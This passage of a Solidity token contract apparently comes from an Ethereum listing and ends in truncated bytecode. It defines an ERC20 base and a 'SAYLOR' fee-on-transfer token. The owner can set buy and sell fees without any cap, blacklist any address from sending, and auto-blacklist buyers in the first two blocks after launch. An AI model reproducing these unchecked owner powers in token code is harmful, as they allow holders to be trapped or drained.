swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract SAYLOR is ERC20, Ownable { using SafeMath for uint256; address public constant DEAD_ADDRESS = address(0xdead); IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 public buyLiquidityFee = 3; uint256 public sellLiquidityFee = 3; uint256 public buyTxFee = 9; uint256 public sellTxFee = 9; uint256 public tokensForLiquidity; uint256 public tokensForTax; uint256 public _tTotal = 10**9 * 10**9; // 1 billion uint256 public swapAtAmount = _tTotal.mul(10).div(10000); // 0.10% of total supply uint256 public maxTxLimit = _tTotal.mul(75).div(10000); // 0.75% of total supply uint256 public maxWalletLimit = _tTotal.mul(150).div(10000); // 1.50% of total supply address public dev; address public immutable deployer; address public uniswapV2Pair; uint256 private launchBlock; bool private swapping; bool public isLaunched; // exclude from fees mapping (address => bool) public isExcludedFromFees; // exclude from max transaction amount mapping (address => bool) public isExcludedFromTxLimit; // exclude from max wallet limit mapping (address => bool) public isExcludedFromWalletLimit; // if the account is blacklisted from transacting mapping (address => bool) public isBlacklisted; constructor(address _dev) public ERC20("Saylor Moon", "SAYLOR") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); // exclude from fees, wallet limit and transaction limit excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; deployer = _msgSender(); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), _tTotal); } function excludeFromFees(address account, bool value) public onlyOwner() { require(isExcludedFromFees[account] != value, "Fees: Already set to this value"); isExcludedFromFees[account] = value; } function excludeFromTxLimit(address account, bool value) public onlyOwner() { require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value"); isExcludedFromTxLimit[account] = value; } function excludeFromWalletLimit(address account, bool value) public onlyOwner() { require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value"); isExcludedFromWalletLimit[account] = value; } function excludeFromAllLimits(address account, bool value) public onlyOwner() { excludeFromFees(account, value); excludeFromTxLimit(account, value); excludeFromWalletLimit(account, value); } function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { buyLiquidityFee = liquidityFee; buyTxFee = txFee; } function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { sellLiquidityFee = liquidityFee; sellTxFee = txFee; } function setMaxTxLimit(uint256 newLimit) external onlyOwner() { maxTxLimit = newLimit * (10**9); } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { maxWalletLimit = newLimit * (10**9); } function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() { swapAtAmount = amountToSwap * (10**9); } function updateDevWallet(address newWallet) external onlyOwner() { dev = newWallet; } function addBlacklist(address account) external onlyOwner() { require(!isBlacklisted[account], "Blacklist: Already blacklisted"); require(account != uniswapV2Pair, "Cannot blacklist pair"); _setBlacklist(account, true); } function removeBlacklist(address account) external onlyOwner() { require(isBlacklisted[account], "Blacklist: Not blacklisted"); _setBlacklist(account, false); } function launchNow() external onlyOwner() { require(!isLaunched, "Contract is already launched"); isLaunched = true; launchBlock = block.number; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large"); require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit"); require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live"); require(!isBlacklisted[from], "Sender is blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; bool canSwap = totalTokensForFee >= swapAtAmount; if( from != uniswapV2Pair && canSwap && !swapping ) { swapping = true; swapBack(totalTokensForFee); swapping = false; } else if( from == uniswapV2Pair && to != uniswapV2Pair && block.number < launchBlock + 2 && !isExcludedFromFees[to] ) { _setBlacklist(to, true); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees; // on sell if (to == uniswapV2Pair) { uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee); fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees)); tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees)); } // on buy & wallet transfers else { uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee); fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees)); tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees)); } if(fees > 0){ super._transfer(from, address(this), fees); amount = amount.sub(fees); } } super._transfer(from, to, amount); } function swapBack(uint256 totalTokensForFee) private { uint256 toSwap = swapAtAmount; // Halve the amount of liquidity tokens uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2); uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens); uint256 amountToSwapForETH = toSwap.sub(liquidityTokens); _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance; uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH); uint256 ethForLiquidity = ethBalance.sub(ethForTax); tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2)); tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2))); payable(address(dev)).transfer(ethForTax); _addLiquidity(liquidityTokens, ethForLiquidity); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, deployer, block.timestamp ); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _setBlacklist(address account, bool value) internal { isBlacklisted[account] = value; } receive() external payable {} }
0x60806040526004361061028c5760003560e01c80638036d5901161015a578063c0246668116100c1578063eb91e6511161007a578063eb91e6511461094e578063f11a24d314610981578063f2fde38b14610996578063f6374342146109c9578063fb0ecfa4146109de578063fe575a8714610a0e57610293565b8063c024666814610838578063cd49513f14610873578063d5f39488146108ae578063dd62ed3e146108c3578063e16830a8146108fe578063e9b786cb1461093957610293565b80639cfe42da116101135780639cfe42da14610718578063a457c2d71461074b578063a9059cbb14610784578063af465a27146107bd578063b40f9469146107d2578063bf95793d1461080557610293565b80638036d5901461069a57806386917524146106af5780638da5cb5b146106c4578063904236d1146106d957806391cca3db146106ee57806395d89b411461070357610293565b806349bd5a5e116101fe5780636ac9a870116101b75780636ac9a870146105ce5780636d7adcad146105fe57806370a0823114610613578063715018a614610646578063715492aa1461065b578063728d41c91461067057610293565b806349bd5a5e146105085780634e6fd6c41461051d5780634fbee193146105325780636402511e1461056557806364f5a5bb1461058f57806366a88d96146105b957610293565b80631a8145bb116102505780631a8145bb146103fc57806323b872dd1461041157806330280a7114610454578063307aebc91461048f578063313ce567146104a457806339509351146104cf57610293565b806306fdde0314610298578063095ea7b3146103225780631694505e1461036f57806318160ddd146103a05780631816467f146103c757610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610a41565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032e57600080fd5b5061035b6004803603604081101561034557600080fd5b506001600160a01b038135169060200135610ad7565b604080519115158252519081900360200190f35b34801561037b57600080fd5b50610384610af5565b604080516001600160a01b039092168252519081900360200190f35b3480156103ac57600080fd5b506103b5610b0d565b60408051918252519081900360200190f35b3480156103d357600080fd5b506103fa600480360360208110156103ea57600080fd5b50356001600160a01b0316610b13565b005b34801561040857600080fd5b506103b5610b8d565b34801561041d57600080fd5b5061035b6004803603606081101561043457600080fd5b506001600160a01b03813581169160208101359091169060400135610b93565b34801561046057600080fd5b506103fa6004803603604081101561047757600080fd5b506001600160a01b0381351690602001351515610c1a565b34801561049b57600080fd5b5061035b610cfb565b3480156104b057600080fd5b506104b9610d09565b6040805160ff9092168252519081900360200190f35b3480156104db57600080fd5b5061035b600480360360408110156104f257600080fd5b506001600160a01b038135169060200135610d0e565b34801561051457600080fd5b50610384610d5c565b34801561052957600080fd5b50610384610d6b565b34801561053e57600080fd5b5061035b6004803603602081101561055557600080fd5b50356001600160a01b0316610d71565b34801561057157600080fd5b506103fa6004803603602081101561058857600080fd5b5035610d86565b34801561059b57600080fd5b506103fa600480360360208110156105b257600080fd5b5035610de9565b3480156105c557600080fd5b506103b5610e4c565b3480156105da57600080fd5b506103fa600480360360408110156105f157600080fd5b5080359060200135610e52565b34801561060a57600080fd5b506103b5610eb5565b34801561061f57600080fd5b506103b56004803603602081101561063657600080fd5b50356001600160a01b0316610ebb565b34801561065257600080fd5b506103fa610ed6565b34801561066757600080fd5b506103fa610f78565b34801561067c57600080fd5b506103fa6004803603602081101561069357600080fd5b5035611042565b3480156106a657600080fd5b506103b56110a5565b3480156106bb57600080fd5b506103b56110ab565b3480156106d057600080fd5b506103846110b1565b3480156106e557600080fd5b506103b56110c0565b3480156106fa57600080fd5b506103846110c6565b34801561070f57600080fd5b506102ad6110d5565b34801561072457600080fd5b506103fa6004803603602081101561073b57600080fd5b50356001600160a01b0316611136565b34801561075757600080fd5b5061035b6004803603604081101561076e57600080fd5b506001600160a01b038135169060200135611265565b34801561079057600080fd5b5061035b600480360360408110156107a757600080fd5b506001600160a01b0381351690602001356112cd565b3480156107c957600080fd5b506103b56112e1565b3480156107de57600080fd5b5061035b600480360360208110156107f557600080fd5b50356001600160a01b03166112e7565b34801561081157600080fd5b5061035b6004803603602081101561082857600080fd5b50356001600160a01b03166112fc565b34801561084457600080fd5b506103fa6004803603604081101561085b57600080fd5b506001600160a01b0381351690602001351515611311565b34801561087f57600080fd5b506103fa6004803603604081101561089657600080fd5b506001600160a01b0381351690602001351515611408565b3480156108ba57600080fd5b50610384611482565b3480156108cf57600080fd5b506103b5600480360360408110156108e657600080fd5b506001600160a01b03813581169160200135166114a6565b34801561090a57600080fd5b506103fa6004803603604081101561092157600080fd5b506001600160a01b03813516906020013515156114d1565b34801561094557600080fd5b506103b56115b2565b34801561095a57600080fd5b506103fa6004803603602081101561097157600080fd5b50356001600160a01b03166115b8565b34801561098d57600080fd5b506103b5611688565b3480156109a257600080fd5b506103fa600480360360208110156109b957600080fd5b50356001600160a01b031661168e565b3480156109d557600080fd5b506103b5611787565b3480156109ea57600080fd5b506103fa60048036036040811015610a0157600080fd5b508035906020013561178d565b348015610a1a57600080fd5b5061035b60048036036020811015610a3157600080fd5b50356001600160a01b03166117f0565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610acd5780601f10610aa257610100808354040283529160200191610acd565b820191906000526020600020905b815481529060010190602001808311610ab057829003601f168201915b5050505050905090565b6000610aeb610ae4611901565b8484611905565b5060015b92915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60025490565b610b1b611901565b6005546001600160a01b03908116911614610b6b576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b600a5481565b6000610ba08484846119f1565b610c1084610bac611901565b610c0b85604051806060016040528060288152602001612663602891396001600160a01b038a16600090815260016020526040812090610bea611901565b6001600160a01b031681526020810191909152604001600020549190611f28565b611905565b5060019392505050565b610c22611901565b6005546001600160a01b03908116911614610c72576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526015602052604090205460ff1615158115151415610cd05760405162461bcd60e51b81526004018080602001828103825260228152602001806126206022913960400191505060405180910390fd5b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b601354610100900460ff1681565b600990565b6000610aeb610d1b611901565b84610c0b8560016000610d2c611901565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118a7565b6011546001600160a01b031681565b61dead81565b60146020526000908152604090205460ff1681565b610d8e611901565b6005546001600160a01b03908116911614610dde576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b633b9aca0002600d55565b610df1611901565b6005546001600160a01b03908116911614610e41576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b633b9aca0002600e55565b600f5481565b610e5a611901565b6005546001600160a01b03908116911614610eaa576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b600791909155600955565b600b5481565b6001600160a01b031660009081526020819052604090205490565b610ede611901565b6005546001600160a01b03908116911614610f2e576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b610f80611901565b6005546001600160a01b03908116911614610fd0576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b601354610100900460ff161561102d576040805162461bcd60e51b815260206004820152601c60248201527f436f6e747261637420697320616c7265616479206c61756e6368656400000000604482015290519081900360640190fd5b6013805461ff00191661010017905543601255565b61104a611901565b6005546001600160a01b0390811691161461109a576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b633b9aca0002600f55565b600e5481565b600d5481565b6005546001600160a01b031690565b60095481565b6010546001600160a01b031681565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610acd5780601f10610aa257610100808354040283529160200191610acd565b61113e611901565b6005546001600160a01b0390811691161461118e576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526017602052604090205460ff16156111fc576040805162461bcd60e51b815260206004820152601e60248201527f426c61636b6c6973743a20416c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6011546001600160a01b0382811691161415611257576040805162461bcd60e51b815260206004820152601560248201527421b0b73737ba10313630b1b5b634b9ba103830b4b960591b604482015290519081900360640190fd5b611262816001611fbf565b50565b6000610aeb611272611901565b84610c0b8560405180606001604052806025815260200161273b602591396001600061129c611901565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611f28565b6000610aeb6112da611901565b84846119f1565b600c5481565b60166020526000908152604090205460ff1681565b60156020526000908152604090205460ff1681565b611319611901565b6005546001600160a01b03908116911614611369576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526014602052604090205460ff16151581151514156113dd576040805162461bcd60e51b815260206004820152601f60248201527f466565733a20416c72656164792073657420746f20746869732076616c756500604482015290519081900360640190fd5b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b611410611901565b6005546001600160a01b03908116911614611460576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b61146a8282611311565b6114748282610c1a565b61147e82826114d1565b5050565b7f000000000000000000000000666a9401503e5eaa7876ba2bc9e9066b2847b8ec81565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6114d9611901565b6005546001600160a01b03908116911614611529576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526016602052604090205460ff16151581151514156115875760405162461bcd60e51b81526004018080602001828103825260268152602001806127156026913960400191505060405180910390fd5b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b60085481565b6115c0611901565b6005546001600160a01b03908116911614611610576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526017602052604090205460ff1661167d576040805162461bcd60e51b815260206004820152601a60248201527f426c61636b6c6973743a204e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b611262816000611fbf565b60065481565b611696611901565b6005546001600160a01b039081169116146116e6576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b6001600160a01b03811661172b5760405162461bcd60e51b81526004018080602001828103825260268152602001806125b26026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b611795611901565b6005546001600160a01b039081169116146117e5576040805162461bcd60e51b8152602060048201819052602482015260008051602061268b833981519152604482015290519081900360640190fd5b600691909155600855565b60176020526000908152604090205460ff1681565b60008261181457506000610aef565b8282028284828161182157fe5b041461185e5760405162461bcd60e51b81526004018080602001828103825260218152602001806126426021913960400191505060405180910390fd5b9392505050565b600061185e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fea565b60008282018381101561185e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b03831661194a5760405162461bcd60e51b81526004018080602001828103825260248152602001806126f16024913960400191505060405180910390fd5b6001600160a01b03821661198f5760405162461bcd60e51b81526004018080602001828103825260228152602001806125d86022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611a4c576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b038216611aa7576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b600e5481111580611ad057506001600160a01b03831660009081526015602052604090205460ff165b80611af357506001600160a01b03821660009081526015602052604090205460ff165b611b3a576040805162461bcd60e51b8152602060048201526013602482015272547820416d6f756e7420746f6f206c6172676560681b604482015290519081900360640190fd5b600f54611b5082611b4a85610ebb565b906118a7565b111580611b7557506001600160a01b03821660009081526016602052604090205460ff165b611bb05760405162461bcd60e51b81526004018080602001828103825260218152602001806126ab6021913960400191505060405180910390fd5b601354610100900460ff1680611bde57506001600160a01b03831660009081526014602052604090205460ff165b80611c0157506001600160a01b03821660009081526014602052604090205460ff165b611c47576040805162461bcd60e51b815260206004820152601260248201527157616974696e6720746f20676f206c69766560701b604482015290519081900360640190fd5b6001600160a01b03831660009081526017602052604090205460ff1615611cad576040805162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015290519081900360640190fd5b80611cc357611cbe8383600061204f565b611f23565b600b54600a54600d546011549190920191821015906001600160a01b03868116911614801590611cf05750805b8015611cff575060135460ff16155b15611d29576013805460ff19166001179055611d1a826121aa565b6013805460ff19169055611d99565b6011546001600160a01b038681169116148015611d5457506011546001600160a01b03858116911614155b8015611d64575060125460020143105b8015611d8957506001600160a01b03841660009081526014602052604090205460ff16155b15611d9957611d99846001611fbf565b6013546001600160a01b03861660009081526014602052604090205460ff91821615911680611de057506001600160a01b03851660009081526014602052604090205460ff165b15611de9575060005b8015611f14576011546000906001600160a01b0387811691161415611e8c576000611e216009546007546118a790919063ffffffff16565b9050611e386064611e328884611805565b90611865565b9150611e5f611e5682611e326007548661180590919063ffffffff16565b600a54906118a7565b600a55600954611e8390611e7a908390611e32908690611805565b600b54906118a7565b600b5550611ef4565b6000611ea56008546006546118a790919063ffffffff16565b9050611eb66064611e328884611805565b9150611ed4611e5682611e326006548661180590919063ffffffff16565b600a55600854611eef90611e7a908390611e32908690611805565b600b55505b8015611f1257611f0587308361204f565b611f0f85826122b0565b94505b505b611f1f86868661204f565b5050505b505050565b60008184841115611fb75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f7c578181015183820152602001611f64565b50505050905090810190601f168015611fa95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b600081836120395760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611f7c578181015183820152602001611f64565b50600083858161204557fe5b0495945050505050565b6001600160a01b0383166120945760405162461bcd60e51b81526004018080602001828103825260258152602001806126cc6025913960400191505060405180910390fd5b6001600160a01b0382166120d95760405162461bcd60e51b815260040180806020018281038252602381526020018061258f6023913960400191505060405180910390fd5b6120e4838383611f23565b612121816040518060600160405280602681526020016125fa602691396001600160a01b0386166000908152602081905260409020549190611f28565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461215090826118a7565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000600d54905060006121d16002611e3285611e32600a548761180590919063ffffffff16565b905060006121e9826121e385826122b0565b906122b0565b905060006121f784846122b0565b9050612202816122f2565b47600061221383611e328487611805565b9050600061222183836122b0565b905061223a612231876002611805565b600a54906122b0565b600a5561225e61225561224e886002611805565b89906122b0565b600b54906122b0565b600b556010546040516001600160a01b039091169083156108fc029084906000818181858888f1935050505015801561229b573d6000803e3d6000fd5b506122a686826124be565b5050505050505050565b600061185e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f28565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061232057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561238d57600080fd5b505afa1580156123a1573d6000803e3d6000fd5b505050506040513d60208110156123b757600080fd5b50518151829060019081106123c857fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612481578181015183820152602001612469565b505050509050019650505050505050600060405180830381600087803b1580156124aa57600080fd5b505af1158015611f1f573d6000803e3d6000fd5b6040805163f305d71960e01b81523060048201526024810184905260006044820181905260648201527f000000000000000000000000666a9401503e5eaa7876ba2bc9e9066b2847b8ec6001600160a01b031660848201524260a48201529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991849160c48082019260609290919082900301818588803b15801561255d57600080fd5b505af1158015612571573d6000803e3d6000fd5b50505050506040513d606081101561258857600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636554784c696d69743a20416c72656164792073657420746f20746869732076616c7565536166654d6174683a206d756c7469706c